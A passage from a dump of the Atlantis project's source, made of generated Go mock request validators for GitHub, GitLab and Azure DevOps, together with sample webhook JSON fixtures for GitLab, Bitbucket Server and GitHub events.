\"git_http_url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n      \"namespace\":\"Gitlab Org\",\n      \"visibility_level\":10,\n      \"path_with_namespace\":\"gitlabhq/gitlab-test\",\n      \"default_branch\":\"main\",\n      \"homepage\":\"http://example.com/gitlabhq/gitlab-test\",\n      \"url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n      \"ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n      \"http_url\":\"https://example.com/gitlabhq/gitlab-test.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"562e173be03b8ff2efb05345d12df18815438a4b\",\n      \"message\": \"Merge branch 'another-branch' into 'main'\\n\\nCheck in this test\\n\",\n      \"timestamp\": \"2002-10-02T10:00:00-05:00\",\n      \"url\": \"http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b\",\n      \"author\": {\n        \"name\": \"John Smith\",\n        \"email\": \"john@example.com\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"assignee\": {\n      \"name\": \"User1\",\n      \"username\": \"user1\",\n      \"avatar_url\": \"http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\\u0026d=identicon\"\n    }\n  }\n}`\n\nvar commitCommentEventJSON = `{\n  \"object_kind\": \"note\",\n  \"user\": {\n    \"name\": \"Administrator\",\n    \"username\": \"root\",\n    \"avatar_url\": \"http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\\u0026d=identicon\"\n  },\n  \"project_id\": 5,\n  \"project\":{\n    \"id\": 5,\n    \"name\":\"Gitlab Test\",\n    \"description\":\"Aut reprehenderit ut est.\",\n    \"web_url\":\"http://example.com/gitlabhq/gitlab-test\",\n    \"avatar_url\":null,\n    \"git_ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n    \"git_http_url\":\"http://example.com/gitlabhq/gitlab-test.git\",\n    \"namespace\":\"GitlabHQ\",\n    \"visibility_level\":20,\n    \"path_with_namespace\":\"gitlabhq/gitlab-test\",\n    \"default_branch\":\"main\",\n    \"homepage\":\"http://example.com/gitlabhq/gitlab-test\",\n    \"url\":\"http://example.com/gitlabhq/gitlab-test.git\",\n    \"ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n    \"http_url\":\"http://example.com/gitlabhq/gitlab-test.git\"\n  },\n  \"repository\":{\n    \"name\": \"Gitlab Test\",\n    \"url\": \"http://example.com/gitlab-org/gitlab-test.git\",\n    \"description\": \"Aut reprehenderit ut est.\",\n    \"homepage\": \"http://example.com/gitlab-org/gitlab-test\"\n  },\n  \"object_attributes\": {\n    \"id\": 1243,\n    \"note\": \"This is a commit comment. How does this work?\",\n    \"noteable_type\": \"Commit\",\n    \"author_id\": 1,\n    \"created_at\": \"2015-05-17 18:08:09 UTC\",\n    \"updated_at\": \"2015-05-17 18:08:09 UTC\",\n    \"project_id\": 5,\n    \"attachment\":null,\n    \"line_code\": \"bec9703f7a456cd2b4ab5fb3220ae016e3e394e3_0_1\",\n    \"commit_id\": \"cfe32cf61b73a0d5e9f13e774abde7ff789b1660\",\n    \"noteable_id\": null,\n    \"system\": false,\n    \"st_diff\": {\n      \"diff\": \"--- /dev/null\\n+++ b/six\\n@@ -0,0 +1 @@\\n+Subproject commit 409f37c4f05865e4fb208c771485f211a22c4c2d\\n\",\n      \"new_path\": \"six\",\n      \"old_path\": \"six\",\n      \"a_mode\": \"0\",\n      \"b_mode\": \"160000\",\n      \"new_file\": true,\n      \"renamed_file\": false,\n      \"deleted_file\": false\n    },\n    \"url\": \"http://example.com/gitlab-org/gitlab-test/commit/cfe32cf61b73a0d5e9f13e774abde7ff789b1660#note_1243\"\n  },\n  \"commit\": {\n    \"id\": \"cfe32cf61b73a0d5e9f13e774abde7ff789b1660\",\n    \"message\": \"Add submodule\\n\\nSigned-off-by: Dmitriy Zaporozhets \\u003cdmitriy.zaporozhets@gmail.com\\u003e\\n\",\n    \"timestamp\": \"2014-02-27T10:06:20+02:00\",\n    \"url\": \"http://example.com/gitlab-org/gitlab-test/commit/cfe32cf61b73a0d5e9f13e774abde7ff789b1660\",\n    \"author\": {\n      \"name\": \"Dmitriy Zaporozhets\",\n      \"email\": \"dmitriy.zaporozhets@gmail.com\"\n    }\n  }\n}`\n"
  },
  {
    "path": "server/controllers/events/mocks/mock_azuredevops_request_validator.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/controllers/events (interfaces: AzureDevopsRequestValidator)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\thttp \"net/http\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockAzureDevopsRequestValidator struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockAzureDevopsRequestValidator(options ...pegomock.Option) *MockAzureDevopsRequestValidator {\n\tmock := &MockAzureDevopsRequestValidator{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockAzureDevopsRequestValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockAzureDevopsRequestValidator) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockAzureDevopsRequestValidator) Validate(r *http.Request, user []byte, pass []byte) ([]byte, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockAzureDevopsRequestValidator().\")\n\t}\n\t_params := []pegomock.Param{r, user, pass}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Validate\", _params, []reflect.Type{reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []byte\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]byte)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockAzureDevopsRequestValidator) VerifyWasCalledOnce() *VerifierMockAzureDevopsRequestValidator {\n\treturn &VerifierMockAzureDevopsRequestValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockAzureDevopsRequestValidator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockAzureDevopsRequestValidator {\n\treturn &VerifierMockAzureDevopsRequestValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockAzureDevopsRequestValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAzureDevopsRequestValidator {\n\treturn &VerifierMockAzureDevopsRequestValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockAzureDevopsRequestValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockAzureDevopsRequestValidator {\n\treturn &VerifierMockAzureDevopsRequestValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockAzureDevopsRequestValidator struct {\n\tmock                   *MockAzureDevopsRequestValidator\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockAzureDevopsRequestValidator) Validate(r *http.Request, user []byte, pass []byte) *MockAzureDevopsRequestValidator_Validate_OngoingVerification {\n\t_params := []pegomock.Param{r, user, pass}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Validate\", _params, verifier.timeout)\n\treturn &MockAzureDevopsRequestValidator_Validate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockAzureDevopsRequestValidator_Validate_OngoingVerification struct {\n\tmock              *MockAzureDevopsRequestValidator\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockAzureDevopsRequestValidator_Validate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte, []byte) {\n\tr, user, pass := c.GetAllCapturedArguments()\n\treturn r[len(r)-1], user[len(user)-1], pass[len(pass)-1]\n}\n\nfunc (c *MockAzureDevopsRequestValidator_Validate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte, _param2 [][]byte) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*http.Request, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*http.Request)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([][]byte, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.([]byte)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([][]byte, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.([]byte)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/controllers/events/mocks/mock_github_request_validator.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/controllers/events (interfaces: GithubRequestValidator)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\thttp \"net/http\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockGithubRequestValidator struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockGithubRequestValidator(options ...pegomock.Option) *MockGithubRequestValidator {\n\tmock := &MockGithubRequestValidator{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockGithubRequestValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockGithubRequestValidator) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockGithubRequestValidator) Validate(r *http.Request, secret []byte) ([]byte, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockGithubRequestValidator().\")\n\t}\n\t_params := []pegomock.Param{r, secret}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Validate\", _params, []reflect.Type{reflect.TypeOf((*[]byte)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []byte\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]byte)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockGithubRequestValidator) VerifyWasCalledOnce() *VerifierMockGithubRequestValidator {\n\treturn &VerifierMockGithubRequestValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockGithubRequestValidator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGithubRequestValidator {\n\treturn &VerifierMockGithubRequestValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockGithubRequestValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubRequestValidator {\n\treturn &VerifierMockGithubRequestValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockGithubRequestValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGithubRequestValidator {\n\treturn &VerifierMockGithubRequestValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockGithubRequestValidator struct {\n\tmock                   *MockGithubRequestValidator\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockGithubRequestValidator) Validate(r *http.Request, secret []byte) *MockGithubRequestValidator_Validate_OngoingVerification {\n\t_params := []pegomock.Param{r, secret}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Validate\", _params, verifier.timeout)\n\treturn &MockGithubRequestValidator_Validate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockGithubRequestValidator_Validate_OngoingVerification struct {\n\tmock              *MockGithubRequestValidator\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockGithubRequestValidator_Validate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte) {\n\tr, secret := c.GetAllCapturedArguments()\n\treturn r[len(r)-1], secret[len(secret)-1]\n}\n\nfunc (c *MockGithubRequestValidator_Validate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*http.Request, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*http.Request)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([][]byte, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.([]byte)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/controllers/events/mocks/mock_gitlab_request_parser_validator.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/controllers/events (interfaces: GitlabRequestParserValidator)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\thttp \"net/http\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockGitlabRequestParserValidator struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockGitlabRequestParserValidator(options ...pegomock.Option) *MockGitlabRequestParserValidator {\n\tmock := &MockGitlabRequestParserValidator{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockGitlabRequestParserValidator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockGitlabRequestParserValidator) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockGitlabRequestParserValidator) ParseAndValidate(r *http.Request, secret []byte) (interface{}, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockGitlabRequestParserValidator().\")\n\t}\n\t_params := []pegomock.Param{r, secret}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ParseAndValidate\", _params, []reflect.Type{reflect.TypeOf((*interface{})(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 interface{}\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(interface{})\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockGitlabRequestParserValidator) VerifyWasCalledOnce() *VerifierMockGitlabRequestParserValidator {\n\treturn &VerifierMockGitlabRequestParserValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockGitlabRequestParserValidator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGitlabRequestParserValidator {\n\treturn &VerifierMockGitlabRequestParserValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockGitlabRequestParserValidator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGitlabRequestParserValidator {\n\treturn &VerifierMockGitlabRequestParserValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockGitlabRequestParserValidator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGitlabRequestParserValidator {\n\treturn &VerifierMockGitlabRequestParserValidator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockGitlabRequestParserValidator struct {\n\tmock                   *MockGitlabRequestParserValidator\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockGitlabRequestParserValidator) ParseAndValidate(r *http.Request, secret []byte) *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification {\n\t_params := []pegomock.Param{r, secret}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ParseAndValidate\", _params, verifier.timeout)\n\treturn &MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification struct {\n\tmock              *MockGitlabRequestParserValidator\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification) GetCapturedArguments() (*http.Request, []byte) {\n\tr, secret := c.GetAllCapturedArguments()\n\treturn r[len(r)-1], secret[len(secret)-1]\n}\n\nfunc (c *MockGitlabRequestParserValidator_ParseAndValidate_OngoingVerification) GetAllCapturedArguments() (_param0 []*http.Request, _param1 [][]byte) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*http.Request, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*http.Request)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([][]byte, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.([]byte)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/bb-server-pull-deleted-event.json",
    "content": "{\n  \"eventKey\":\"pr:deleted\",\n  \"date\":\"2017-09-19T11:16:17+1000\",\n  \"actor\":{\n    \"name\":\"admin\",\n    \"emailAddress\":\"admin@example.com\",\n    \"id\":1,\n    \"displayName\":\"Administrator\",\n    \"active\":true,\n    \"slug\":\"admin\",\n    \"type\":\"NORMAL\"\n  },\n  \"pullRequest\":{\n    \"id\":10,\n    \"version\":3,\n    \"title\":\"Commit message\",\n    \"state\":\"OPEN\",\n    \"open\":true,\n    \"closed\":false,\n    \"createdDate\":1505783668760,\n    \"updatedDate\":1505783750704,\n    \"fromRef\":{\n      \"id\":\"refs/heads/decline-me\",\n      \"displayId\":\"decline-me\",\n      \"latestCommit\":\"2d9fb6b9a46eafb1dcef7b008d1a429d45ca742c\",\n      \"repository\":{\n        \"slug\":\"repository\",\n        \"id\":84,\n        \"name\":\"repository\",\n        \"scmId\":\"git\",\n        \"state\":\"AVAILABLE\",\n        \"statusMessage\":\"Available\",\n        \"forkable\":true,\n        \"project\":{\n          \"key\":\"PROJ\",\n          \"id\":84,\n          \"name\":\"project\",\n          \"public\":false,\n          \"type\":\"NORMAL\"\n        },\n        \"public\":false\n      }\n    },\n    \"toRef\":{\n      \"id\":\"refs/heads/main\",\n      \"displayId\":\"main\",\n      \"latestCommit\":\"7e48f426f0a6e47c5b5e862c31be6ca965f82c9c\",\n      \"repository\":{\n        \"slug\":\"repository\",\n        \"id\":84,\n        \"name\":\"repository\",\n        \"scmId\":\"git\",\n        \"state\":\"AVAILABLE\",\n        \"statusMessage\":\"Available\",\n        \"forkable\":true,\n        \"project\":{\n          \"key\":\"PROJ\",\n          \"id\":84,\n          \"name\":\"project\",\n          \"public\":false,\n          \"type\":\"NORMAL\"\n        },\n        \"public\":false\n      }\n    },\n    \"locked\":false,\n    \"author\":{\n      \"user\":{\n        \"name\":\"admin\",\n        \"emailAddress\":\"admin@example.com\",\n        \"id\":1,\n        \"displayName\":\"Administrator\",\n        \"active\":true,\n        \"slug\":\"admin\",\n        \"type\":\"NORMAL\"\n      },\n      \"role\":\"AUTHOR\",\n      \"approved\":false,\n      \"status\":\"UNAPPROVED\"\n    },\n    \"reviewers\":[\n      {\n        \"user\":{\n          \"name\":\"user\",\n          \"emailAddress\":\"user@example.com\",\n          \"id\":2,\n          \"displayName\":\"User\",\n          \"active\":true,\n          \"slug\":\"user\",\n          \"type\":\"NORMAL\"\n        },\n        \"role\":\"REVIEWER\",\n        \"approved\":false,\n        \"status\":\"UNAPPROVED\"\n      }\n    ],\n    \"participants\":[\n\n    ]\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/githubIssueCommentEvent.json",
    "content": "{\n  \"action\": \"created\",\n  \"issue\": {\n    \"url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/issues/1\",\n    \"repository_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests\",\n    \"labels_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/issues/1/labels{/name}\",\n    \"comments_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/issues/1/comments\",\n    \"events_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/issues/1/events\",\n    \"html_url\": \"https://github.com/runatlantis/atlantis-tests/pull/1\",\n    \"id\": 330256251,\n    \"node_id\": \"MDExOlB1bGxSZXF1ZXN0MTkzMzA4NzA3\",\n    \"number\": 1,\n    \"title\": \"Add new project layouts\",\n    \"user\": {\n      \"login\": \"runatlantis\",\n      \"id\": 1034429,\n      \"node_id\": \"MDQ6VXNlcjEwMzQ0Mjk=\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/1034429?v=4\",\n      \"gravatar_id\": \"\",\n      \"url\": \"https://api.github.com/users/runatlantis\",\n      \"html_url\": \"https://github.com/runatlantis\",\n      \"followers_url\": \"https://api.github.com/users/runatlantis/followers\",\n      \"following_url\": \"https://api.github.com/users/runatlantis/following{/other_user}\",\n      \"gists_url\": \"https://api.github.com/users/runatlantis/gists{/gist_id}\",\n      \"starred_url\": \"https://api.github.com/users/runatlantis/starred{/owner}{/repo}\",\n      \"subscriptions_url\": \"https://api.github.com/users/runatlantis/subscriptions\",\n      \"organizations_url\": \"https://api.github.com/users/runatlantis/orgs\",\n      \"repos_url\": \"https://api.github.com/users/runatlantis/repos\",\n      \"events_url\": \"https://api.github.com/users/runatlantis/events{/privacy}\",\n      \"received_events_url\": \"https://api.github.com/users/runatlantis/received_events\",\n      \"type\": \"User\",\n      \"site_admin\": false\n    },\n    \"labels\": [\n\n    ],\n    \"state\": \"open\",\n    \"locked\": false,\n    \"assignee\": null,\n    \"assignees\": [\n\n    ],\n    \"milestone\": null,\n    \"comments\": 61,\n    \"created_at\": \"2018-06-07T12:45:41Z\",\n    \"updated_at\": \"2018-06-13T12:53:40Z\",\n    \"closed_at\": null,\n    \"author_association\": \"OWNER\",\n    \"pull_request\": {\n      \"url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/pulls/1\",\n      \"html_url\": \"https://github.com/runatlantis/atlantis-tests/pull/1\",\n      \"diff_url\": \"https://github.com/runatlantis/atlantis-tests/pull/1.diff\",\n      \"patch_url\": \"https://github.com/runatlantis/atlantis-tests/pull/1.patch\"\n    },\n    \"body\": \"\"\n  },\n  \"comment\": {\n    \"url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/issues/comments/396926483\",\n    \"html_url\": \"https://github.com/runatlantis/atlantis-tests/pull/1#issuecomment-396926483\",\n    \"issue_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/issues/1\",\n    \"id\": 396926483,\n    \"node_id\": \"MDEyOklzc3VlQ29tbWVudDM5NjkyNjQ4Mw==\",\n    \"user\": {\n      \"login\": \"runatlantis\",\n      \"id\": 1034429,\n      \"node_id\": \"MDQ6VXNlcjEwMzQ0Mjk=\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/1034429?v=4\",\n      \"gravatar_id\": \"\",\n      \"url\": \"https://api.github.com/users/runatlantis\",\n      \"html_url\": \"https://github.com/runatlantis\",\n      \"followers_url\": \"https://api.github.com/users/runatlantis/followers\",\n      \"following_url\": \"https://api.github.com/users/runatlantis/following{/other_user}\",\n      \"gists_url\": \"https://api.github.com/users/runatlantis/gists{/gist_id}\",\n      \"starred_url\": \"https://api.github.com/users/runatlantis/starred{/owner}{/repo}\",\n      \"subscriptions_url\": \"https://api.github.com/users/runatlantis/subscriptions\",\n      \"organizations_url\": \"https://api.github.com/users/runatlantis/orgs\",\n      \"repos_url\": \"https://api.github.com/users/runatlantis/repos\",\n      \"events_url\": \"https://api.github.com/users/runatlantis/events{/privacy}\",\n      \"received_events_url\": \"https://api.github.com/users/runatlantis/received_events\",\n      \"type\": \"User\",\n      \"site_admin\": false\n    },\n    \"created_at\": \"2018-06-13T12:53:40Z\",\n    \"updated_at\": \"2018-06-13T12:53:40Z\",\n    \"author_association\": \"OWNER\",\n    \"body\": \"###comment body###\"\n  },\n  \"repository\": {\n    \"id\": 136474117,\n    \"node_id\": \"MDEwOlJlcG9zaXRvcnkxMzY0NzQxMTc=\",\n    \"name\": \"atlantis-tests\",\n    \"full_name\": \"runatlantis/atlantis-tests\",\n    \"owner\": {\n      \"login\": \"runatlantis\",\n      \"id\": 1034429,\n      \"node_id\": \"MDQ6VXNlcjEwMzQ0Mjk=\",\n      \"avatar_url\": \"https://avatars1.githubusercontent.com/u/1034429?v=4\",\n      \"gravatar_id\": \"\",\n      \"url\": \"https://api.github.com/users/runatlantis\",\n      \"html_url\": \"https://github.com/runatlantis\",\n      \"followers_url\": \"https://api.github.com/users/runatlantis/followers\",\n      \"following_url\": \"https://api.github.com/users/runatlantis/following{/other_user}\",\n      \"gists_url\": \"https://api.github.com/users/runatlantis/gists{/gist_id}\",\n      \"starred_url\": \"https://api.github.com/users/runatlantis/starred{/owner}{/repo}\",\n      \"subscriptions_url\": \"https://api.github.com/users/runatlantis/subscriptions\",\n      \"organizations_url\": \"https://api.github.com/users/runatlantis/orgs\",\n      \"repos_url\": \"https://api.github.com/users/runatlantis/repos\",\n      \"events_url\": \"https://api.github.com/users/runatlantis/events{/privacy}\",\n      \"received_events_url\": \"https://api.github.com/users/runatlantis/received_events\",\n      \"type\": \"User\",\n      \"site_admin\": false\n    },\n    \"private\": false,\n    \"html_url\": \"https://github.com/runatlantis/atlantis-tests\",\n    \"description\": \"A set of terraform projects that atlantis e2e tests run on.\",\n    \"fork\": true,\n    \"url\": \"https://api.github.com/repos/runatlantis/atlantis-tests\",\n    \"forks_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/forks\",\n    \"keys_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/keys{/key_id}\",\n    \"collaborators_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/collaborators{/collaborator}\",\n    \"teams_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/teams\",\n    \"hooks_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/hooks\",\n    \"issue_events_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/issues/events{/number}\",\n    \"events_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/events\",\n    \"assignees_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/assignees{/user}\",\n    \"branches_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/branches{/branch}\",\n    \"tags_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/tags\",\n    \"blobs_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/git/blobs{/sha}\",\n    \"git_tags_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/git/tags{/sha}\",\n    \"git_refs_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/git/refs{/sha}\",\n    \"trees_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/git/trees{/sha}\",\n    \"statuses_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/statuses/{sha}\",\n    \"languages_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/languages\",\n    \"stargazers_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/stargazers\",\n    \"contributors_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/contributors\",\n    \"subscribers_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/subscribers\",\n    \"subscription_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/subscription\",\n    \"commits_url\": \"https://api.github.com/repos/runatlantis/atlantis-tests/commits{/sha}\",\n    \"git_commits_url\": 